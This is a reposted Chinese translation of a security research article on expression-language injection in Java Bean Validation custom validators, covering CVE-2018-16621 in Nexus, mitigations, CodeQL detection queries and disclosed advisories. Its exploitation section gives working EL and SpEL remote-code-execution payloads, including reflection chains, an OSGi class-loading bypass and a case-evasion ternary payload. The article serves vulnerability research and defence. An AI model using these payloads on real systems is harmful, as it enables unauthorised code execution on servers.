转载

Java Bean漫谈:多种方式利用Java Bean实现远程代码执行

Java Bean漫谈:多种方式利用Java Bean实现远程代码执行

一、概述

在本文中,我们将以Nexus Repository Manager 3中的一个Java表达式语言注入漏洞(CVE-2018-16621)为例,共同进行一次神奇的研究。我们首先详细分析CVE-2018-16621漏洞,然后分析如何利用该漏洞来打开蠕虫病毒的盒子。

二、CVE-2018-16621漏洞分析

在我们阅读大量CVE漏洞描述,并寻找一些值得关注的漏洞来进行变体分析的过程中,有一个Nexus Repository Manager 3的Java注入漏洞(CVE-2018-16621)引起了我的注意。当然,其他利用了Java表达式语言注入的漏洞也都被我们重点关注。在这个漏洞的描述中,并没有说清楚导致漏洞的根本原因,但其中包含一些值得关注的描述,包括:

“在Nexus Repository Manager 3中发现了一个Java表达式语言注入漏洞。”

以及:

“我们通过以适当方式清理用户输入来实现针对该漏洞的缓解。”

这里的问题是表达式语言(EL)注入,并且其修复方法并不是通过阻止注入或将EL引擎沙箱化来实现的,而是通过清理输入来解决,而这种修复方式可能会导致一些绕过。该漏洞由ERNW GmbH的Dominik Schneider和Till Osswald报告,并且目前网上有一些可用的PoC。我可以使用这些PoC触发该漏洞,并使用调试器对其进行分析。通过分析,我们很快就知道该漏洞的根本原因是用户控制器Java Bean的属性之一(来自HTTP请求)被串联到Bean验证错误消息中,随后会处理该消息,并且所有EL表达式都会被插入(插值)到最终的消息中。如果攻击者能够控制部分EL表达式,那么就可能导致远程代码执行。实际上,当我们验证某项内容时,通常意味着所验证的内容是不受信任的,因此该模式可以轻松地暴露很多使用Java Bean验证(JSR 380)的应用程序,如果满足下述条件,则会导致远程代码执行:

1、使用JSR 380并实现了自定义的验证器;

2、验证用户控制的Bean(例如:Bean是从JAXRS或Spring控制器中的HTTP请求绑定的);

3、在验证错误中返回了一个Bean属性(例如:(<USER INPUT>) is not a valid email address)。

这些条件看起来非常容易满足,因此我决定更加深入地研究Bean验证规范和实现。

Bean验证(JSR 380)

Bean验证(JSR 380)的逻辑非常简单:进行一次约束,然后在各种地方进行验证。通过简单地注释要验证的类和字段,内置验证器和自定义验证器可以在用用程序的不同部分(例如:表示层或持久层)强制执行验证。

接下来,让我们看一个简单的用例,一个Spring Boot应用程序,它想要验证接收到的对象是否符合某些约束:

@RestController
class ValidateRequestBodyController {

  @PostMapping("/validateBody")
  ResponseEntity<String> validateBody(@Valid @RequestBody Input input) {
    return ResponseEntity.ok("valid");
  }

}

输入定义为:

class Input {

  @Min(1)
  @Max(10)
  private int numberBetweenOneAndTen;

  @Pattern(regexp = "^[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}$")
  private String ipAddress;

  // ...
}

现在,每次/validatedBody终端在接收到HTTP请求时,都会将其主体解组到 Input 类的实例中,并且由于 @Valid 注释,它将验证该对象并确保遵守所有约束。在这种情况下,它将会验证 numberBetweenOneAndTen 是否为 @Min(1)@Max(10) 之间的数字,并且 ipAddress 值与 @Pattern 注解定义的正则表达式是否匹配。

如果我们需要使用一些内置约束中不包含的约束怎么办?针对这种情况,我们可以定义自己的自定义验证器。我们来看一个例子,例如要检查 bean 属性是小写还是大写:

public class CheckCaseValidator implements ConstraintValidator<CheckCase, String> {

    private CaseMode caseMode;

    @Override
    public void initialize(CheckCase constraintAnnotation) {
        this.caseMode = constraintAnnotation.value();
    }

    @Override
    public boolean isValid(String object, ConstraintValidatorContext constraintContext) {
        if ( object == null ) {
            return true;
        }

        boolean isValid;
        String message = object;
        if ( caseMode == CaseMode.UPPER ) {
            isValid = object.equals( object.toUpperCase() );
            message = message + " should be in upper case." 
        }
        else {
            isValid = object.equals( object.toLowerCase() );
            message = message + " should be in lower case." 
        }

        if ( !isValid ) {
            constraintContext.disableDefaultConstraintViolation();
            constraintContext.buildConstraintViolationWithTemplate(message)
            .addConstraintViolation();
        }
    }
}

现在,我们可以使用 @CheckCase(CaseMode.UPPER) 来注解字段,以验证它是否符合预期。但是,在稍后对错误信息进行处理和插值时,会出现问题。

2.1 插值

通过阅读JSR 380规范,我们发现消息插值器负责将通过约束注释的 message 属性,或通过 buildConstraintViolationWithTemplate API,将消息模板转换为完全扩展、人类可读的错误消息。这里的插值被定义为“将不同性质的东西插入其他地方”。在这种情况下,会将 MessageExpression 参数插入到消息模板中。消息参数和表达式是分别包含在 {}${} 中的字符串文字,将在插值之前对其进行求值。

参数插值({})仅执行替换操作,通常是在classpath resource bundle中执行。这对于本地化来说很有帮助。即使攻击者可以控制替换的密钥,也不会对应用程序产生任何威胁。

但另一方面,表达式插值(${})是完全不同的洪水猛兽,因为它们将会由Jakarta表达式语言引擎进行评估。因此,如果由攻击者控制的 bean 属性通过验证后反映到了错误消息中,那么攻击者将可以提供一个EL表达式,而这个表达式很可能就会导致任意代码执行。

三、防范方法

有几种方法可以防范该问题:

1、最简单的选择是,在自定义违规消息中不包含已验证的 bean 属性。这种方法可以解决当前存在的问题,但不能阻止后续引入的漏洞。

2、在将经过验证的 bean 属性添加到自定义违规消息之前,首先对其进行清理。但遗憾的是,我们在 Hibernate Validator 中发现了几个漏洞,这些漏洞会导致无效的表达式可以被视为有效。因此,我们的清理过程也需要考虑无效的语法,因为它们可能导致该方法出错。而这也正是让我们能够绕过CVE-2018-16621漏洞缓解措施以及DropWizard初始缓解措施的漏洞。如果你选择采取这种方式,请确保使用了一种强大的清理逻辑。需要注意的是,我们不应该直接使用这个类,而应该将其作为一个比较好的示例。内部软件包中的所有内容都不是API。

3、完全禁用EL插值,仅使用参数插值。默认验证提供程序将同时使用参数插值器和表达式插值器,但我们可以通过仅显式注册一个 ParameterMessageInterpolator 参数来覆盖这种行为:

Validator validator = Validation.byDefaultProvider()
   .configure()
   .messageInterpolator( new ParameterMessageInterpolator() )
   .buildValidatorFactory()
   .getValidator();

4、在Bean验证规范中包含不同的实现。尽管Hibernate是其中的一个参考实现(RI),但是在Apache BVal中也实现了该规范,在其最新版本中,默认情况下不会插值EL表达式。我们认为这种替换可能不是简单的直接替换,因为并非Hibernate提供的所有内置约束验证器都在Apache实现中实现。

5、使用参数化的消息模板,而不是字符串串联。在这一过程中,应始终使用

HibernateConstraintValidatorContext context = constraintValidatorContext.unwrap( HibernateConstraintValidatorContext.class );
context.addExpressionVariable("userPovidedValue", tainted );
context.buildConstraintViolationWithTemplate( "My violation message contains an expression variable ${userPovidedValue}").addConstraintViolation();

为此,不要使用 Message 参数:

HibernateConstraintValidatorContext context = constraintValidatorContext.unwrap( HibernateConstraintValidatorContext.class );
context.addMessageParameter("userPovidedValue", tainted);
context.buildConstraintViolationWithTemplate( "DONT DO THIS!! My violation message contains a parameter {userPovidedValue}").addConstraintViolation();

参数和表达式插值是以菊花链方式连接(daisy chained)的:

// there's no need for steps 2-3 unless there's `{param}`/`${expr}` in the message
if ( resolvedMessage.indexOf( '{' ) > -1 ) {
    // resolve parameter expressions (step 2)
    resolvedMessage = interpolateExpression(
            new TokenIterator( getParameterTokens( resolvedMessage, tokenizedParameterMessages, InterpolationTermType.PARAMETER ) ),
            context,
            locale
    );

    // resolve EL expressions (step 3)
    resolvedMessage = interpolateExpression(
            new TokenIterator( getParameterTokens( resolvedMessage, tokenizedELMessages, InterpolationTermType.EL ) ),
            context,
            locale
    );
}

因此,Payload将首先由参数插值器替换为消息模板,并且所得到的模板将会为表达式插值器求值。

四、CodeQL查询

要使用CodeQL的数据流分析功能查找这些漏洞,我们需要定义 TaintTracking 配置。这个思路在于使用CodeQL来查找我们感兴趣的Source、Taint Step、Sanitizer和Sink。在数据流分析的上下文中,Source是污染数据(Tainted Data)的来源,而Sink是污染数据的终点。

4.1 Source

污染数据的来源是 javax.validation.ConstraintValidator.isValid(0) 方法的任何实现。我们可以使用以下方法对其进行建模:

class TypeConstraintValidator extends RefType {
  TypeConstraintValidator() { hasQualifiedName("javax.validation", "ConstraintValidator") }
}

class ConstraintValidatorIsValidMethod extends Method {
  ConstraintValidatorIsValidMethod() {
    exists(Method m |
      m.hasName("isValid") and
      m.getDeclaringType() instanceof TypeConstraintValidator and 
      this = m.getAPossibleImplementation()
    )
  }
}

class InsecureBeanValidationSource extends RemoteFlowSource {
  InsecureBeanValidationSource() {
    exists(ConstraintValidatorIsValidMethod m |
      this.asParameter() = m.getParameter(0)
    )
  }

  override string getSourceType() { result = "Insecure Bean Validation Source" }
}

请注意,这里的Source将从验证的Bean或Bean属性开始污染跟踪分析,但没有证据表明攻击者可以实际控制这些属性。为了做到这一点,我们应该确保Bean是由攻击者控制的对象图的成员(例如:从HTTP请求解组的Bean)。这超出了当时编写的查询范围。

4.2 Sink

Sink应该是 javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate() 的第一个参数,我们可以使用以下CodeQL类进行建模:

class TypeConstraintValidatorContext extends RefType {
  TypeConstraintValidatorContext() {
    hasQualifiedName("javax.validation", "ConstraintValidatorContext")
  }
}

class BuildConstraintViolationWithTemplateMethod extends Method {
  BuildConstraintViolationWithTemplateMethod() {
    hasName("buildConstraintViolationWithTemplate") and
    getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext
  }
}

class BuildConstraintViolationWithTemplateSink extends DataFlow::ExprNode {
  BuildConstraintViolationWithTemplateSink() {
    exists(MethodAccess ma |
      asExpr() = ma.getArgument(0) and
      ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod 
    )
  }
}

4.3 异常处理

验证器尝试调用某种方法来执行验证,Exception消息经常会作为验证错误消息之中的一部分:

try {
    validate(tainted);
} catch(Exception e) {
    context.buildConstraintViolationWithTemplate(e.getMessage()).addConstraintViolation();
}

为了跟踪从污染值到异常消息的数据流,我们需要对引发异常的代码进行建模。为此,我们可以为 TaintTracking 配置一个额外的污染步骤,该步骤会将参数连接到 try 块中的任何 throwing-exception 方法调用,下面是在catch块中对任何类型匹配的异常变量进行 getMessagegetLocalizedMessagetoString 方法调用的结果:

class ExceptionMessageMethod extends Method {
  ExceptionMessageMethod() {
    (
      hasName("getMessage") or
      hasName("getLocalizedMessage") or
      hasName("toString")
    ) and
    getDeclaringType().getASourceSupertype*() instanceof TypeThrowable
  }
}

class ExceptionTaintStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(Call call, TryStmt t, CatchClause c, MethodAccess gm |
      call.getEnclosingStmt().getEnclosingStmt*() = t.getBlock() and
      t.getACatchClause() = c and
      (
        call.getCallee().getAThrownExceptionType().getASubtype*() = c.getACaughtType() or
        c.getACaughtType().getASupertype*() instanceof TypeRuntimeException
      ) and
      c.getVariable().getAnAccess() = gm.getQualifier() and
      gm.getMethod() instanceof ExceptionMessageMethod and
      n1.asExpr() = call.getAnArgument() and
      n2.asExpr() = gm
    )
  }
}

4.4 组合使用

现在,我们就可以完成 TaintTracking 配置了:

class BeanValidationConfig extends TaintTracking::Configuration {
  BeanValidationConfig() { this = "BeanValidationConfig" }

  override predicate isSource(Node source) { source instanceof InsecureBeanValidationSource }

  override predicate isSink(Node sink) { sink instanceof BuildConstraintViolationWithTemplateSink }
}

五、查询结果

运行以上查询,我们能够找到多个在LGTM.com中的易受攻击的应用程序,包括:

Sonatype Nexus( https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype)

Sonatype Nexus( https://securitylab.github.com/advisories/GHSL-2020-012-nxrm-sonatype)

Netflix Titus( https://securitylab.github.com/advisories/GHSL-2020-028-netflix-titus)

Netflix Conductor( https://securitylab.github.com/advisories/GHSL-2020-027-netflix-conductor)

DropWizard( https://securitylab.github.com/advisories/GHSL-2020-030-dropwizard)

Apache Syncope( https://securitylab.github.com/advisories/GHSL-2020-029-apache-syncope)

[Spring XD](产品在2017年停止生命周期支持,因此未做修复)

六、漏洞利用

利用EL注入时,我们首先尝试标准的Payload:

''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)

或者:

''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

这两种方式都是使用Java Reflection API来获取 java.lang.Class 实例,然后使用其 Class.forName() 方法来获取任意类的实例,之后可以实例化并与之交互。这些Payload非常简单可靠,有90%的概率可以正常工作。但是,我们还想要挑战剩下的10%。

下面是我在编写PoC时,发现其中存在的限制,并展示了如何解决这些限制问题的过程。

6.1 无效的Java标识符(Tomcat Jasper)

在我针对其中一个受影响的项目编写PoC时,我得到了“cannot reproduce”的响应。这个PoC不适用于该项目,因为这个项目使用了不同的Servlet容器和EL引擎,开发人员声称这一点能增强项目的安全性。运行PoC后,会得到以下异常:

javax.el.ELException: The identifier [class] is not a valid Java identifier as required by section 1.19 of the EL specification (Identifier ::= Java language identifier). This check can be disabled by setting the system property org.apache.el.parser.SKIP_IDENTIFIER_CHECK to true.

这个异常是由Tomcat Jasper EL实现抛出的,该实现不支持访问类标识符,因为 java.lang.Class 中不包含此类字段。我们仍然可以使用 getClass() ,这样就可以成功运行PoC,并且实现有效的预认证远程代码执行。

6.2 EL实施不完整(Jakarta EL)

在测试Payload时,我们可能会收到异常,例如“java.lang.IllegalArgumentException: wrong number of arguments”。对这个错误的分析表明,这是由于EL规范的不完全实施引起的。具体来说,J2EE EL中没有实现对 VarArgs 的支持:

Object[] parameters = null;
if (parameterTypes.length > 0) {
    if (m.isVarArgs()) {
        // TODO
    } else {
        parameters = new Object[parameterTypes.length];
        for (int i = 0; i < parameterTypes.length; i++) {
            parameters[i] = context.convertToType(params[i],
                                                  parameterTypes[i]);
        }
    }
}
try {
    return m.invoke(base, parameters);
}

关注其中的// TODO注释。由于参数将保持为空,因此 m.invoke() 调用将收到一个空参数,这将会导致异常。

这是一个烦人的问题,因为它阻止了调用以 VarArgs 作为参数的方法,其中包括:

java.lang.reflect.Method.invoke(Object obj, Object... args)
java.lang.reflect.Constructor.newInstance(java.lang.Object...)

这一限制将阻止 RuntimeProcessBuilder Payload,因为我们需要使用 Method.invoke 调用静态方法,或使用 Constructor.newInstance 调用非默认构造函数。实例化任意类的唯一选择是使用 java.lang.Class.newInstance() ,这让我们可以调用默认构造函数(无参数)。我们可以用来运行任意代码并且具有无参数构造函数的类是 javax.script.ScriptEngineManager

''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(<JS PAYLOAD>);

需要注意的是,JavaScript引擎也许会不可用,但可以安装其他引擎。我们可以使用 ScriptEngineManager.getEngineFactories() 找到可能使用的引擎。例如,在某个应用程序中,只有Groovy引擎可以使用:

''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned")')

对于我们来说,作为攻击者的角色,易受攻击的应用程序正在使用OSGi,但我们获得执行权限的捆绑软件却无法访问 javax.script.ScriptEngineManager 和任何其他javax类。这个问题是否可以解决呢?

6.3 OSGi

OSGi是Java的动态模块引擎。基本上,这可以帮助我们在不同模块中分隔应用程序,这将彼此独立地加载类。也就是说,我们可以拥有一个需要 dependecy-foo:1.0 的模块,以及另一个需要相同库但版本为0.5的模块。使用OSGi,就完全可能实现这一点。尽管减少小工具空间并不是OSGi或Jigsaw的目标之一,但二者都非常有用,因为它们将大大减少攻击者可以用于实现远程代码执行的类。

在OSGi中,类加载通常与捆绑类加载器隔离,这打破了依赖于父委托的标准Java类加载器机制,也就是说,类加载器将首先检查父类加载器是否能够加载请求的类,然后再尝试自己加载。在OSGi中,仍然可以通过启动委派(Boot Delegation)来实现。属于 org.osgi.framework.bootdelegation 属性中列出的任何软件包的任何类,都将由OSGi的引导类加载器进行处理。

在这个特定应用程序中,其值为:

com.sun.*
javax.transaction.*
javax.xml.crypto.*
jdk.nashorn.*
sun.*
jdk.internal.reflect.*
org.apache.karaf.jaas.boot.*

其中的 jdk.nashorn 看起来很有希望,因为我们应该可以获得 jdk.nashorn.api.scripting.NashornScriptEngine 类的实例。遗憾的是,它的构造函数是私有的。另外,由于我使用的是Java 8u232,因此 jdk.internal.reflect 在我的目标应用程序中是不可用的。

属于OSGi bootdelegation 属性中指定包的任何类都将由Bootstrap类加载器加载,这意味着它将对所有Javax类(包括ScriptEngineManager)具有可见性。

我们的思路是,在进行类加载和实例化的包中,找到一个理想的类。而CodeQL可以实现这一点!

6.4 使用CodeQL查询

我们可以编写一个查询,寻找满足以下条件的方法:

1、声明类是公共的,并且具有公共的默认构造函数,因此我们可以使用 Class.newInstance() 对其实例化;

2、声明类属于任何一种启动委派的命名空间;

3、方法采用一个String参数,该参数传入一个类的加载方法(例如 Class.forName()ClassLoader.loadClass() ),并且所加载的类传入 Constructor.newInstance()Class.newInstance()

4、方法返回一个 java.lang.Object

5、方法是公开的。

/**
 * @kind path-problem
 * @id java/new_instance_gadget
 */

import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow
import DataFlow::PathGraph

class GetConstructorStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .getSourceDeclaration()
          .hasQualifiedName("java.lang", "Class") and
      (
        ma.getMethod().hasName("getConstructor") or
        ma.getMethod().hasName("getConstructors") or
        ma.getMethod().hasName("getDeclaredConstructor") or
        ma.getMethod().hasName("getDeclaredConstructors")
      ) and
      ma.getQualifier() = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class ForNameStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .getSourceDeclaration()
          .hasQualifiedName("java.lang", "Class") and
      ma.getMethod().hasName("forName") and
      ma.getArgument(0) = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class LoadClassStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(Node n1, Node n2) {
    exists(MethodAccess ma |
      ma
          .getMethod()
          .getDeclaringType()
          .getASupertype*()
          .hasQualifiedName("java.lang", "ClassLoader") and
      ma.getMethod().hasName("loadClass") and
      ma.getArgument(0) = n1.asExpr() and
      ma = n2.asExpr()
    )
  }
}

class ConstructorNewInstanceMethod extends Method {
  ConstructorNewInstanceMethod() {
    this
        .getDeclaringType()
        .getASupertype*()
        .getSourceDeclaration()
        .hasQualifiedName("java.lang.reflect", "Constructor") and
    this.hasName("newInstance")
  }
}

class ClassNewInstanceMethod extends Method {
  ClassNewInstanceMethod() {
    this
        .getDeclaringType()
        .getASupertype*()
        .getSourceDeclaration()
        .hasQualifiedName("java.lang", "Class") and
    this.hasName("newInstance")
  }
}

class PublicClass extends RefType {
  PublicClass() {
    // public so we can instantiate it
    this.isPublic() and
    // public default constructor
    exists(Constructor c |
      this.getAConstructor() = c and
      c.isPublic() and
      c.getNumberOfParameters() = 0
    )
  }
}

class BootDelegatedClass extends RefType {
  BootDelegatedClass() {
    exists(string name |
      name = this.getPackage().getName() and
      (
        name.matches("com.sun.%") or
        name.matches("javax.transaction.%") or
        name.matches("javax.xml.crypto.%") or
        name.matches("jdk.nashorn.%") or
        name.matches("sun.%") or
        name.matches("jdk.internal.reflect.%") or
        name.matches("org.apache.karaf.jaas.boot.%")
      )
    )
  }
}

class NewInstanceConfig extends TaintTracking::Configuration {
  NewInstanceConfig() { this = "Flow from Method parameter to newInstance" }

  override predicate isSource(DataFlow::Node source) {
    exists(Method m |
      // BootDelegated so can load system classes
      m.getDeclaringType() instanceof BootDelegatedClass and
      // Public so we can get an instance with Class.newInstance()
      m.getDeclaringType() instanceof PublicClass and
      // public method
      m.isPublic() and
      // Parameter is source
      exists(Parameter p |
        p = source.asParameter() and
        p = m.getAParameter() and
        p.getType().(RefType).hasQualifiedName("java.lang", "String")
      ) and
      m.getReturnType().(RefType).hasQualifiedName("java.lang", "Object")
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma |
      (
        ma.getMethod() instanceof ClassNewInstanceMethod or
        ma.getMethod() instanceof ConstructorNewInstanceMethod
      ) and
      sink.asExpr() = ma.getQualifier()
    )
  }
}

from NewInstanceConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select source, source, sink, "instances new objects"

查询JDK代码库,并过滤结果,我们得到了三个返回的实例:

com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, ClassLoader cl, boolean doFallback)
com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)
com.sun.org.apache.xalan.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)

这些都是比较方便的小工具,我们可以使用它们来实例化引导类加载器可见的任意类。现在,我们可以将Payload写成:

${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned")')}

但是,我们得到的却是:

javax.el.ELException: java.lang.IllegalArgumentException: Cannot convert Runtime.getRuntime().exec("touch /tmp/pwned") of type class java.lang.String to class java.io.Reader

问题在于,当该方法重载时,EL将始终获取第一个重载。在这种情况下,它将会接受一个 java.io.Reader 。我们可以改用 eval(String, ScriptContext) 重载:

${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned2")', validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.SimpleScriptContext', true))}

最后,我们终于得到了远程代码执行!

6.5 不同的EL引擎(SpEL)

在另一个项目中,我发现有一处注入似乎是可以利用的。使用我控制的Payload,附加调试器会在 buildConstraintViolationWithTemplate Sink的位置停止。但是,即使改用像 ${1+1} 这样简单的Payload,最终却都会执行失败。

经过一些额外进行的调试之后,我发现该应用程序安装了一个自定义的EL插值器,在这种情况下,使用了一个不同的表达式定界符( #{} 替代了原来的 ${} ):

validator = Validation.buildDefaultValidatorFactory()
    .usingContext()
    .constraintValidatorFactory(new ConstraintValidatorFactoryWrapper(verifierMode, applicationValidatorFactory, spelContextFactory))
    .messageInterpolator(new SpELMessageInterpolator(spelContextFactory))
    .getValidator();

那么,将 ${1+1} 替换为 #{1+1} ,我们就可以继续执行远程代码执行Payload。

6.6 大小写处理

在同一个应用程序上,我又发现了另外一个问题。针对同一个属性会有两个验证,第一个是将Payload转换为小写字母,例如 #{''.class.forName(...)} 将会转换为 #{''.class.forname(...)} 。由于Java是区分大小写的,因此Payload将会引发异常。第二个验证器会将未修改的Payload传递给 buildConstraintViolationWithTemplate Sink,因此我可以滥用这一点。唯一的问题在于,如果 Bean 属性在第一个验证器(小写验证器)中引发异常,那么它将永远不会到达第二个验证器(易受攻击的验证器)。

所以,我们就需要一个全部是小写字母的远程代码执行Payload,该Payload将由第一个验证器执行,或者通过第一个验证器而不会引发异常,然后触发第二个验证器。我选择了第二种方法,并设计了一个动态EL表达式,该表达式在不同验证器下的行为会有所不同。后来我发现,全部小写的远程代码执行Payload也是可行的,但这种动态Payload的想法听起来会更加有趣一些。

首先,我们的Payload需要区分是由第一个还是第二个验证器进行验证。这非常容易,因为SpEL目标对象对于每种情况来说都是不同的。第一个是 com.google.common.collect.SingletonImmutableBiMap 的实例,而第二个则是以 com.net 开头的实例。

下一步就是获得动态行为,以便Payload在不同验证过程中的行为会有所不同。我的实现方式是使用SpEL三元运算符 boolean expr ? A : B 。请注意,如果选择了A分支,那么B分支将不会执行。这意味着,我们可以将Payload放在B上,在转换为小写的过程中,它将不会被执行, 所以不会出现无效的Java代码。最终Payload如下:

#{#this.class.name.substring(0,5) == 'com.g' ? 'FOO' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA=='))).class.name}

第一个验证器将会检查小写字母 #this.class.name.substring(0,5) == 'com.g' 表达式,由于它将判断为true,因此会采用第一个分支,并返回foo(小写)。在这里,不会检查第二个分支,因此该分支中的任何无效代码都将被跳过,并且不会引发异常。

第二个验证器将执行相同的检测,但是在这种情况下,如果if表达式的结果为false,则代码将跳转到第二个分支,这次将不会转换大小写,因此它能够完美执行远程代码控制Payload。

七、总结

Bean Validation是一个出色的工具,可以帮助开发人员在整个应用程序生命周期中验证数据。但遗憾的是,自定义验证器如果没有正确实施,可能会带来严重的风险。并且,有两个因素会增加受到攻击的可能性:

(1)设计验证的Bean通常不受信任;

(2)默认情况下会对EL表达式进行检测,除非我们禁用,或将其参数化。

我们向众多OSS项目分别报告了许多漏洞,但可能还有我们遗漏掉的OSS项目,并且可能还有很多闭源应用程序容易受到Bean Validation驱动的SSTI攻击。因此,我们预计在接下来的几个月内还会发现一系列问题,例如VMWare Cloud中存在的漏洞。

原文  https://www.anquanke.com/post/id/210162
正文到此结束
Loading...